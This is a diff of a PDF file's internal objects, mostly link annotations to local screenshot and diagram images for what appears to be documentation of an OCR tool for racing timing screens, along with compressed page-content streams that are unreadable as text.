+/Rect [ 39.386457 771.023622 555.889134 171.204497 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/OCRTestingScreen.png) +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) >> >> endobj @@ -8911,84 +7916,84 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 415.003913 37.466457 402.600713 ] +/Rect [ 297.637795 171.204497 297.637795 156.190097 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/PerezFolder.png) +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) >> >> endobj 589 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 415.003913 492.716457 218.503913 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/PerezFolder.png) ->> ->> -endobj -590 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 218.503913 297.637795 206.100713 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/PerezFolder.png) ->> ->> -endobj -591 0 obj -<< /Filter /FlateDecode -/Length 1903 +/Length 923 >> stream -xYK7ϯ!0 v1lCȡgu?VI%Իv==zJOU_U;y-YlN'ΜF4?R;xR`KL{/|XL.4*ŌVSbs"̈`#??^㿧+,/U?N|mi , &)C"f*j9"٨wHH`05|%>4~휚93Awq~X3[]p˔2Bo~ Bc]O\F?0СY6mLnoav{y:qN~6rw|B}Ɖ}LiG]eTb:"$ ԣ-B r}!^L 91 Cq&.]Eud@_G6CZ iY gX!t"kx{q"B\O}mJ͕ƠN@qOu?WYuWP9ο,r6XRuxT.dG9"wtk'ɾza" ~ +x͎6 ~ +@)`1"!e-Z"d;ivv1 6ED!0nΘ܋)ch燸>vdɊdӾpbwzBL( N݇B̭G9 uӻn9:Z%f)\яnQIDɳ;s_m\8wP<35B{Axo#^^%B1puOjm8 o_ɖ-m,;wwi: |BO #qO('2Bhr*3Jl4]I*='PEHK"$9D +L+/3~!=m紬1կJ{)Ow ~v;w qyp7U`Vu*.r+nKJE=fX\| nKPmEԊ̄9gQӁ~u߼[N~&-D}zY6=2ⶐ]J1q:@?rR|.N{NS J$vX4`W,0.IqSKhy ~*0K vMվ $Amt0Fp(eңN<^8ƖaE͠QN:5,s/ 7}<+z/PRyĨ~\3]u@,:O4T$KA)1*+ցs#6oXb(A_q%Q; e0nrDN2*xY8 +3OQIǖ|>r}rI +8[[R*^ pH"8߂p䥕=dk8dkR0ԅ_}g endstream endobj -592 0 obj +590 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 591 0 R +/Contents 589 0 R /Resources 4 0 R -/Annots [ 593 0 R 594 0 R 595 0 R 596 0 R ] +/Annots [ 591 0 R 592 0 R 593 0 R 594 0 R 595 0 R 596 0 R 597 0 R 598 0 R 599 0 R 600 0 R 601 0 R 602 0 R 603 0 R 604 0 R 605 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +591 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 39.386457 731.610822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainZoneExample.png) +>> +>> +endobj +592 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 555.889134 540.993841 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainZoneExample.png) +>> +>> +endobj 593 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 550.988922 37.466457 538.585722 ] +/Rect [ 297.637795 540.993841 297.637795 525.979441 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration6.png) +/URI (./Images/Screens/MainZoneExample.png) >> >> endobj @@ -8996,14 +8001,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 550.988922 557.809134 349.947433 ] +/Rect [ 39.386457 458.414641 39.386457 443.400241 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration6.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj @@ -9011,14 +8016,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 349.947433 297.637795 337.544233 ] +/Rect [ 39.386457 458.414641 555.889134 450.697114 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration6.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj @@ -9026,58 +8031,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 216.613033 37.466457 204.209833 ] +/Rect [ 297.637795 450.697114 297.637795 435.682714 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration7.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj 597 0 obj << -/Filter /FlateDecode -/Length 1445 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 368.117914 39.386457 353.103514 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DriverPositionExample.png) +>> >> -stream -xX͎4S0.i5.+  qH;+vyrdfvEf:q7@c -M_OjMy>]lP! ~JN!)@TXZVVK>UA`BH>bS~xv^Vbڿ.Six| 3"6LG2t %=ퟰ f1oWktMSތUъt%m{m*M6X&Oᗟ~heF^/ ^FEAFifSt"ٝ 1אnuj;sF0(D3A*C3e;/hm?|!}qu|e_]h!7V}òkުC`c51޸#ae- -v[d AXee/ž,u{^x! k' -+&J d%ȄFUdL"H^W9 Ҡ#]V0ҏEUB gY2\rY}5sX>,C [ :T'dꂐ,d yF:4~,лC6]pf -vT d*޽G8`^4%UyZDU6x0_^oEvB5\+8njn|8>GvUelJ^-̜WH3 BN{swX7_ѧ+Rf - #~S;T ]v5/^zyDKlN@v4ZֱV罀E4G~٭7VfYݥu?f|"M`8mNHSMJ'R +o2r(s=Jɵ;+AN;]v $z,e^^(Bm> mA;&}?dyK;Jݽ(Nlz/=܇8Dcm9dT{t{ -wcXӄU9x6g0/}uObAO{fn[skc`f}WBt> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DriverPositionExample.png) +>> >> endobj 599 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 571.001725 ] +/Rect [ 297.637795 348.617914 297.637795 333.603514 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration7.png) +/URI (./Images/Screens/DriverPositionExample.png) >> >> endobj @@ -9085,14 +8091,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 571.001725 297.637795 558.598525 ] +/Rect [ 39.386457 266.038714 39.386457 251.024314 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration7.png) +/URI (./Images/Screens/DriverNameExample.png) >> >> endobj @@ -9100,14 +8106,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 372.550525 37.466457 360.147325 ] +/Rect [ 39.386457 266.038714 171.386457 242.038714 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration8.png) +/URI (./Images/Screens/DriverNameExample.png) >> >> endobj @@ -9115,14 +8121,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 372.550525 557.809134 166.669683 ] +/Rect [ 297.637795 242.038714 297.637795 227.024314 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration8.png) +/URI (./Images/Screens/DriverNameExample.png) >> >> endobj @@ -9130,106 +8136,102 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 166.669683 297.637795 154.266483 ] +/Rect [ 39.386457 159.459514 39.386457 144.445114 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration8.png) +/URI (./Images/Screens/DriverLapTimeExample.png) >> >> endobj 604 0 obj << -/Filter /FlateDecode -/Length 2497 ->> -stream -x[Ko6W(0|(HC -=Ȼ\I?!!]R\7 IE8~#>8ӗ3g8͇{L1t4 Nx& -bF+)>bsA)z{Cqz3 02.2>ۇI"3H$eJ!~w -6p\9i ϱf'~>K\.gS92u|n7G1Ws9\g;wQG΅{,y~:vy[F;v~|/N^m!.3Afyxx7D;$%иD ʉ t`N[U';NZEʏ)8/ -*L_yUxh DE1mLǰ1v83bW" P>RTn[ҳ΁VA #vzK6HeҫPAR%a.BW-!Q v΀ J4%N^ӆQcѠy@i,ڿsK:A<hs/ -!/ L5$ʏ8xjj {G{mwc$G(5$a:b+dw?r]{l6 v=heY% 'Y}1v* (a( -J!j³$6kJXi3_?<»9^x (:a|Rq"p3?e6i^s>4y!{!hŴF)bBQ`"Ȓ}wZY5(n)ȄӠd0UςbVuXnC-Ə-D5 ->:%3XWtƤi(CwʚxՒi=0H%j>; C.: R͒ݧz4y } -0JE~ ̓YU\h=XUi -+=znaԢQs`da' -Dd <\DW0fkϛd4,yDQbm "q弮Aɑ \!x(KIwݏ@VR 1Fh)i2:vtv~6X4gIRR@W}h;+ދ Ц/@ʡ#39WAP#1H2f#[ |>ˊ&!1J\lh@kLh3JÈKkMOAy \H…EBm]Ĩu(y*1z^×u2Z"$* ;ڀc$3.Ѩ(/eWF6.naigÈvTT-7j!Up!4r1cLxڜte$.I8F0Tv7 Cr5In~#)+.)EaEގVtn}+v쳽U4PjSOs 4xNMBa$.3=-*Ho-NV4Hup˛"dĠ¨$J¡[$. ^\w[-0#Y|c -2y$' p_y4V4Ax#28 Vn[a:M!B=hbjs`/ ‘ܽs>F،5' o{d6h!H2Ÿ=sqk.Yrτ,䴄!i)R4kNUk`ljHt.]YdF5SA-E>z$OXB׬ &-"qDOMsѻNFL41&i!!e0/"8 a}3zK \g!nmh_Q^6kGѽ*^Yy_~{6X1:%(|\ML/rU\iW0&`ӛ &NyDgy{"pJjDD6Q4\<]iwe6V"Y, 1/S酰Y Bx ?{  `N]kvAAv- -tb, Fx0jx@ˬ,2)҅$p;؞!mY(R2v@~)uRxu;_"J/i=3V8q{P"䥴ټ $B;4 /˷'p6/T9\<㰶/ȂX/hA k7N'Z8  @?itc/^/㌄ܡ:X;EIvDDŽXMfm\[ku3 :] =IxnD{˖'|;M%P;PAu -?a $CԗW"oލț"oIߊy%vʉx4^Fv < 7 J+N7!|qml(}oH! 喃d߼݊ۏYy?- -endstream -endobj -605 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 604 0 R -/Resources 4 0 R -/Annots [ 606 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -606 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 220.182006 37.466457 207.778806 ] +/Rect [ 39.386457 159.459514 119.636457 140.709514 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/VerstappenFolder.png) +/URI (./Images/Screens/DriverLapTimeExample.png) >> >> endobj -607 0 obj +605 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 140.709514 297.637795 125.695114 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DriverLapTimeExample.png) +>> +>> +endobj +606 0 obj << /Filter /FlateDecode -/Length 1328 +/Length 2627 >> stream -xˎ4uU~H9 ` qd&+]./QvnTz?F/ -!za8hI'3a@nN߾aumf /sؤ%C/&iuÅG?/V(|P7 }_j8פ*0,,g\+#NtP;% O;!AK5k?^ +T3Y)hV2;*NeY<-m4 vҶ+'AҤ2_u\#HE9H㠼">Eu +1WL('%!@ZH@* `MU*:FY-4#"qx:&y&F cY6=n5~(C'Z\,mG((M.ע},}IAum H"R j6]^U= x `l2*|)!5U^wlraVp%/ ԛ4С/PsE"[,An],]F%ɐX\֦=zw֪$sFIYE 1ͭ]cRlVrɣ4Ld%(rnf9WQ$06Favײ.R;x0Aq͂0"@T4 D'9f% 3|'~҉Am?h u(ʼn)C͍c&Ru?K7hЖ9Lza r6Hښ.z6Ի.(=*TH KxV꺎"wA(jt͞tC&3YA`4d[yTتW޸ VཞL]Ў l1H^^e PGʛ*HSx $JD8_PW;qMuZ&ǫ@o8kqnHYxۨB#5q+ࢣ$# g([0]($AZ-uL`84IxѐMu3$K +IP su}< 3%³C L|yQCҙ΀Х@O׮U.\J2J{dH0b$t`a^1|a`yE+ v&k!vjcD\ϣ䍝aVh\}FI)#,&s0&yQ`Tה~8KY&3%T" FkĨ/ڹ<*fWOz&ߨnRl˕;rBxn +:PIƹ0lȂ۪m|wH>aG倎'.=•LKLeQU|v@- JVd ]KnTxÚg@1PLL3Q䨂nsnL17yQG݀" hh1JYv4X! +1Ʋ"ZiP }5lZQhj꠹AL0Ȃ,ք)(f\K[!+=Q0Ҹ#V4%j=> `VY =[/H !]݊|w;4JaCqy♆|]ˑ'= b%^ ! { EWs.VjxE7^(`U!M8tSJN̸VPpyG8UCo0T(1yxi9en]MYlTgm>M47U.=q)7U7i ݜ>h-YUDŽJC֠_knP#,vTYw:4A< rˤ‡j3euX=28d""SXXgi$B  + 5uL#W(]LE0Uu?gB"!\l +,…t$F8GB%wXBfzHzg5V endstream endobj -608 0 obj +607 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 607 0 R +/Contents 606 0 R /Resources 4 0 R -/Annots [ 609 0 R 610 0 R ] +/Annots [ 608 0 R 609 0 R 610 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +608 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 39.386457 731.610822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DriverTyreWindowExample.png) +>> +>> +endobj 609 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 492.716457 277.523622 ] +/Rect [ 39.386457 746.625222 555.889134 725.104277 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/VerstappenFolder.png) +/URI (./Images/Screens/DriverTyreWindowExample.png) >> >> endobj @@ -9237,41 +8239,26 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 277.523622 297.637795 265.120422 ] +/Rect [ 297.637795 725.104277 297.637795 710.089877 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/VerstappenFolder.png) +/URI (./Images/Screens/DriverTyreWindowExample.png) >> >> endobj 611 0 obj << /Filter /FlateDecode -/Length 2521 +/Length 959 >> stream -xێ_e8$C -8i6)>8/{ -$CG$_ZK#}dj@ɻ旍V|{>~XRѐF\ (m,UմoxVh `B>`zן7_AٜxaK;D0HA9giy㢊8 05d+FSAl|;fk!ŇxYxYO&|`M s:l -;Z>|͏>6|0 L7,_<2ϑ'qx>guz&Ϥ6m>'K;iÃ݉T #eTwL8 -;hKgma3CV̬b -̱DWH=$6 Co&6Ifqijcs_8e ͬ^O7^ K$ z<6=HĖ"0)9w-xvI=jsO;ThlЦ;f wKcIzΖ74KK3. ZdmJ-yY!1w&.PLSF(IQy^Ζ-2>_ȈLj ifY -aBSkY% _86pIXzɺ5PH &fKQwڵ|uE`y^W\U?Eqh}Fۿl pQښ Ե4%2+Jl-Tġx渾 TA/ZTPD\RT(O - %&JPbӅC6YSw8 >ued")#Lnyq -DF+:+L2pze˅5LW03M@YQ  >,JwBE'Htg'8׾Sٌ2\P`֥IR^'`,ϻa5u>i&.S_[lf/Hzx}V -k8|L^1.JF\<+1+aVqjnn(RExX;/F,7zyKo( k P׳*N53M62_|YR -oXyV/aX踽Z(UؐLg|`mU}JڽˈzvtQǷ+<(pa`m*"E #;eX1*7psC; ,F<֦M΢n|J'7 ZǸXHMX1Zإk5U ->}M?Y׊iSD'{mMI?kڕXDHOwy| t狀Og=K<c SwO?4 rb}MFg8b -Cr- *R+ c߹HShiG$4КB/t- +xV͎6 )Ո%JbEöR@у#Njn(cV&182E~$?RY W@P!D8ӧI+r?E~dIQtQaL6U4MLNy?EHk +4D\9_?LO (={P5_CъUз vGS"T0! Η?ïgLvMӚia_۴_B<^N:m ٰ{zR;56<,mr_4t;{3e|\//#Y#mHiou(wKwM ̯eᒺy5kZĸV"X*:UpFmPaV>PFk$*4GH^[Du˞d *9PXln_f_^x-bw6?`a٩Sӆ͉, Ě?ӵA[ VKUZ$Cw_}b _R'kĨI}@:{qK G9zKb=G ٛ FIx2u@'W2 32%Y[K*9{)VG.:oDh.SCo7ͧfq57RR4r4 ٚ*|2Fi{f +{FD#GM> endobj 613 0 obj << -/Filter /FlateDecode -/Length 1861 ->> -stream -xY͎6 SP=آlOI(%%ޝ6EO8kit|4n7 F:;ʹ‡ τREJq7}p-wA1ǹnBJfDb/oof K{! Doo7b93F[BOϟno~~}Wᢍ[yn\̹wŹfm~M~g'\7rǧ1ndnI^3<65Fdd=:ztn+vQ2"{Cڇhnŵ"-HS&q|؈q!"lI#":ټ D6X&I -9+MW LMuhټ# 3y^~"-_'NNBPHN=(&]9^_ O'^[ϝsڪ|iڍ%.^6l;զ* .I$":!;fFN:-ՁtPdd0U.rwʖ9S(y-6]ɼo J?U/z]w0| es2@2^NR; k1 %ɜJQoZÞW -}AK9o.J텊epbVBI㪋9X'(b XfT7B$hSM]anNO{ - .<>xh` - Q+[1vhH][|',/ZsTm );*d=ˏE.dV0+$>6?41OjS I[rSðNbfRsRk7QbrcFU $P$spo$F٩rgrc!kMtJɹ!iq\%*H"(T=DktF/IS]DgG@#)@ʐW`FM#n"TทGlxѶ$KP}w(XN_8XZ"~έ^H67:T6fHA3^if!P, â<'FhNN}~6G}N՝:HqzHy rJ3%211%2{'LE']nKm6!l/asjR`K@k ]$Mx&ջB,#0wS$ 4bˆГDBb ԟ%^6NDr) l^Be< 8M:}̸>[X.8lVKazeK!+899xS"6HxG> 0.ԓoyBz ;b曔Ti 'mC/ -F@޷l!b&t@ҵ#F=WmNrYj9`fZK]c\U,M:eVv/ȾGy!]sѷ"0DCc~46WZ1( -Ix⢸гo9bڛλhB(E6+g羠kbaz+9πY4P\4a*R#H"V(g>gvlu¼nl{f>HA`r;zd/;&h=t>҈8P1XaxrkRrWl˫1(îBrZ)jHˮ2/{\}~p,>mmƅ1a]\g@'JQ0B*NkD5QԅrNZKc!f'rŠ)GpUնFxV,Spwޜ_Cx*l:*QΣRvyQHvTɹ5 -bz怄xc -endstream -endobj -614 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 613 0 R -/Resources 4 0 R -/Annots [ 615 0 R 616 0 R 617 0 R 618 0 R 619 0 R 620 0 R 621 0 R 622 0 R 623 0 R 624 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -615 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 718.310022 37.466457 705.906822 ] +/Rect [ 39.386457 746.625222 39.386457 731.610822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/JsonDecodeResult.png) +/URI (./Images/Figma/Bad9Example.png) +>> +>> +endobj +614 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 270.386457 515.625222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Bad9Example.png) +>> +>> +endobj +615 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 515.625222 297.637795 500.610822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Bad9Example.png) >> >> endobj @@ -9332,14 +8322,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 718.310022 473.966457 533.060022 ] +/Rect [ 39.386457 393.633222 39.386457 378.618822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/JsonDecodeResult.png) +/URI (./Images/Figma/Aliased9.png) >> >> endobj @@ -9347,14 +8337,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 533.060022 297.637795 520.656822 ] +/Rect [ 39.386457 393.633222 270.386457 162.633222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/JsonDecodeResult.png) +/URI (./Images/Figma/Aliased9.png) >> >> endobj @@ -9362,14 +8352,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 399.725622 37.466457 387.322422 ] +/Rect [ 297.637795 162.633222 297.637795 147.618822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/CenteredDriver.png) +/URI (./Images/Figma/Aliased9.png) >> >> endobj @@ -9377,59 +8367,50 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 399.725622 557.809134 377.237823 ] +/Rect [ 39.386457 80.054022 39.386457 65.039622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/CenteredDriver.png) +/URI (./Images/Figma/Horrible9.png) >> >> endobj 620 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 377.237823 297.637795 364.834623 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/CenteredDriver.png) ->> +/Filter /FlateDecode +/Length 574 >> +stream +x͎1 yvıT¥RHCgڮ8v&]vbۿ1Uc*u8 %=mŢӦ7VOIIJP\+V 5"B"$@a0||(E*1QK;fݏhfS}n(-m]}nodɴi$T&F+NBG 7]P_nYs'i5)FkZ,ۀܣie ZI%%0k0VVںSo{z{g;6/Wm;݌AF\|#³{(]o^ ~>v!hv(SZGIyTEG(iu/i%JϗT?*sE"\HZf]2G9կpmrZq51v97 i)1yrRKq4eH":XNתٟ՞hVwۉ> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/UncenteredDriver.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 620 0 R +/Resources 4 0 R +/Annots [ 622 0 R 623 0 R 624 0 R 625 0 R 626 0 R 627 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 622 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 309.020223 557.809134 292.908695 ] +/Rect [ 39.386457 771.023622 270.386457 540.023622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/UncenteredDriver.png) +/URI (./Images/Figma/Horrible9.png) >> >> endobj @@ -9437,14 +8418,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 292.908695 297.637795 280.505495 ] +/Rect [ 297.637795 540.023622 297.637795 525.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/UncenteredDriver.png) +/URI (./Images/Figma/Horrible9.png) >> >> endobj @@ -9452,127 +8433,128 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 139.419095 37.466457 127.015895 ] +/Rect [ 39.386457 457.444422 39.386457 442.430022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/VerstappenFolder2.png) +/URI (./Images/Figma/Clean9Example.png) >> >> endobj 625 0 obj << -/Filter /FlateDecode -/Length 781 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 457.444422 270.386457 226.444422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Clean9Example.png) +>> >> -stream -xVn1 SHĉi -J@BfLPK8N2n@3N~g'^P?Aǘ(ZM ?"q2n#M[ -*!&E5'3LSOi2")kp7]͠9l/&&f(K?ˋy<5xkЬ8L㚎A! -hvzPVSLI!%mMB9.p#yYg^J5ڹor/?%Fw+݌b\ Q1e09ǖAإXSP2XQ˞&fڵ<Ŋ)<Ɯت& R'v>UK"epzb$[$Y䚣X1,0 ,f_VN69]ZSG4 蹀V0Gq EKJPzF4GƠKvTd&C]V7*:$K~IRqtvyLcK$ =e:ė-'Sc.])Võ )Fi1G"klRR{\jEZV+@sK3=%1uʡzaqfWx^8ɄEE=+z!?9b*8?/˵ܝ?up)A=Fp - -2TpM{]Ϩ|,Z2 -endstream endobj 626 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 625 0 R -/Resources 4 0 R -/Annots [ 627 0 R 628 0 R 629 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 226.444422 297.637795 211.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Clean9Example.png) +>> >> endobj 627 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 492.716457 511.523622 ] +/Rect [ 39.386457 143.865222 39.386457 128.850822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/VerstappenFolder2.png) +/URI (./Images/Figma/Filled9.png) >> >> endobj 628 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 511.523622 297.637795 499.120422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/VerstappenFolder2.png) ->> ->> -endobj -629 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 390.592422 37.466457 378.189222 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ImageDecoding1.png) ->> ->> -endobj -630 0 obj -<< /Filter /FlateDecode -/Length 1251 +/Length 1705 >> stream -xX͎4SV.%怀8,X$!3Y!vycǕL:tR?.@/P$&%0@>Ec~#ǃ&2Ƨ u"tΐw!L)BjDû?8]˳a:sM.Nـg96dRe=Q~ŧ?Gc(3NS(A*ɀ\%/k,Rq$~@ɳ(=\EɃux|P&(R --fO {;e+"ًyr|<&w]A8e ,flƇd{p9pN\ xw#J},E>5ykXmYO1ZtҩZdg1f_m`qmni~q,z5yiȹu/u%GXOR' ]o)n"(f'qd7$w6u(4 -*UZӕUnbgA7d6۪>mg,:֘r)g]Xl:r֪[|.%h +m #taFJR,EVrY&A7 R0A5sfe,nָ[z/6BQŲhr3 -LFզی\ WB;=DžoB a`e'Dhȝg,~N_HD, JpƯ'>)f6]GmޯK&8>+z -xfTe'/P/c`8X`Ed¬$2ϰT̒|.<_?|h$z Ժo6<*rgO9r.DZ8۸㩷J 1L:%ǡ;ˮ^ kpd+FAF_T,']N,*[dc 'hIUm8 F\*x -r;rhBgFe/^Ub#kwRp_[eKq3ghu8n:l\`҈ XN *.rkuʌ+n'qpY7ҽ97{K#DjU>b! .ع#V~ge,\49+=Nȟ$58JY'o.%8A\jA}>pHH.x>!] _"= +xYێ#5}Wuni Z4IxKo۝n)?9Q39$~O2뵰f)ɂc\H(%JJnӯNKf9NB0 8VޝӊJ_"PFK#6/mnU]/nb*b7"JH9CEWy[49ͥW<)5=㷿}?A&EOx NWkE(Ϥ<xKxM<[rָk-94O=dr +RTp"oǍ  +h"\[xVPJ7%ax_ g9:R*m4Feψ&^@0zo1/W%ܮux3u30/"[(g!ġViEsdqd=T#E.+-)WcbP>.+J Ŭp5.1>a?vBiihzopȒ=Na5b]BCtA;ms j{m=r8DA,RcD "/j(ۓclƷ S\Ȕ/1,] )Fb@ Tqe>9ehMx8:_^$ܿˌ.>+\Qy]V}נ-6N،6i߿|y86 ҝ{:k=no*P?Aq(}CJ-~#T2]{$?ԙ%)Jg{ZsR2HmlQߚQVISj&cר4X؍2NTN |Bi(BkԒA͡NlK4T>@Hl0LlD2eh3ptSG0@RO0ҟ+wvb,X"RC<أZz&j֓|Z˙1NTJćO~tb{_>SBv4h:O`M;O Im,N]1jJ{ jo'= h7xK)orW  ]:x` '=͒Z.MiR# +Ta/-рq;" SuLf 'y?Jp$}:>vDGzIX$&ucoFN ּ8bBFcIqfԘKs ͳ+{YAme^U ivXgq`dB[NVle㮉qU*w:GTCy}up֦+k6HP7OJʁڰ emHiљqPꨃ+6UzP\)p0A3ւ3?tna(RfM&ԌOኳ ſ:8YRVv;6{xJm 5дAU}h.cRg{4Zy𜩚>ľ[*=R'}j՝%. Yϩho|^~W\ow@MIkc[͙=g2JK$[g)"R7>昇:x:SaP—݀ A|:gfFz~c 0FPSp2s1WSm!_;Ͼ endstream endobj -631 0 obj +629 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 630 0 R +/Contents 628 0 R /Resources 4 0 R -/Annots [ 632 0 R 633 0 R ] +/Annots [ 630 0 R 631 0 R 632 0 R 633 0 R 634 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +630 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 270.386457 540.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Filled9.png) +>> +>> +endobj +631 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 540.023622 297.637795 525.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Filled9.png) +>> +>> +endobj 632 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 321.736142 ] +/Rect [ 39.386457 250.245702 39.386457 235.231302 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ImageDecoding1.png) +/URI (./Images/Screens/ExempleTextRaw.png) >> >> endobj @@ -9580,117 +8562,117 @@ endobj << /Type /Annot 